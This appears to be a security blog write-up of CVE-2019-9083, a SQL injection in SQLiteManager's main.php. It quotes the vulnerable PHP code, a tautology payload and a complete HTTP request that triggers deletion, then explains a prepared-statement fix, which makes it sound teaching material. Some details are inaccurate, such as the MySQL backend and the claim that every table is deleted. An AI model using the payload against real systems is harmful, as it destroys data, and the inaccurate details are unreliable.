CVE 2019-9083 - SQL Injection
Description
Injections, and furthermore SQL injections, are still one of the most popular and most attractive vulnerability classes for hackers.
CVE 2019-9083 is an example of CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) and affects SQLiteManager (version 1.2.0 and 1.2.4). SQLiteManager is a piece of open-source software, which can be used to manage SQLite databases right out of the webbrowser. As it is completely written on PHP, it runs using an apache server and is powered by an underlying MySQL instance.
The attack
A parameter, dbsel
is not properly sanitized inside of the application which makes it exploitable.
The software consists of several php modules. Each php module has its own functionalities.
In the root directory of the application, there is a module called main.php
, which is the component executing management commands on the SQLite / MySQL database.
If the client wants an action performed, it needs to pass the desired command type over a POST-request to the server. The corresponding table that action is performed on needs to be passed via GET-request.
Parameters for an action
Method | Parameter name | Description |
---|---|---|
POST | action | Internal command specifier, needed to differ between command types |
GET | dbsel | The parameter used by the SQL statement |
Having a look at the main.php
module quickly reveals the affected part of the code creating the vulnerability.
First, the application differs between several internal action types - using the action
parameter and a switch statement. In case that the command type equals the string del
, it will directly execute the injected command received via the GET-request (dbsel
). This parameter is normally used as an identifier to select the correct table.
} elseif(!isset($GLOBALS["action"]) || ($GLOBALS["action"]!="auth")) {
// ...
// Action that should be performed on a database
switch($action){
// ...
// Delete the selected database:
case "del":
//Uncaught SQL injection opportunity
$query = "DELETE FROM database WHERE id=".$dbsel.";";
// Remove attached databases:
if($dbsel) {
$db->query($query);
//Uncaught SQL injection opportunity:
$db->query("DELETE FROM attachment WHERE base_id=".$dbsel." OR attach_id=".$dbsel.";");
}
$redirect = "<script type=\"text/javascript\">parent.location='index.php';</script>";
break;
// ...
As the dbsel
parameter is not being escaped or passed into a prepared statement, anybody can directly execute raw and unchecked SQL commands on the database.
The query simply gets constructed by concatenating hardcoded statements and the unchecked parameters (received from the client).
// $dbsel = "-1 or 30 = 30"
$query = "DELETE FROM database WHERE id=".$dbsel.";";
// After concatenation:
$query = "DELETE FROM database WHERE id=-1 or 30 = 30;";
An attacker could run an sql statement, just by sending an HTTP request containing the needed parameters.
In the case of this example, it would delete every table in the database.
// The required HTTP-request:
//Malicious dbsel parameter:
POST /sqlite/main.php?dbsel=-1%20or%2030%20%3d%2030 HTTP/1.1
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=s5u7fet0s4nhr817dh36d9fl4v3;
SQLiteManager_currentTheme=default; SQLiteManager_currentLangue=8;
SQLiteManager_fullText=0; SQLiteManager_HTMLon=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
// The chosen action:
action=del
The SQL statement needs to be encoded to be url-friendly.
Fixing the problem
Most injection problems can be easily fixed by checking data that could be manipulated. An application should never trust unverified client data.
In PHP, an built-in prepare method can be used to build a secure sql statement with client parameters:
$stmt = $workDb->prepare("DELETE FROM database WHERE id= ? ;");
$stmt->bind_param("i", $dbsel);
First, the prepared statement contains the placeholder sign (?)
, where the client data will be inserted. Next, the parameters get bound to the statement after being escaped. The filter string "i"
limits the dbsel
variable to integer values (if needed).
After this line of extra code, the application will always escape control characters in client data being passed to the database.
Conclusion:
Most vulnerabilities, and especially SQL injections can be easily avoided by using built-in prepared statements or other methods described in our blog post. Most applications still trust client data, which leads to big security problems.
Even this short example shows that it is an essential part of programming to handle untrustful data correctly.
The affected product is discontinued under this vendor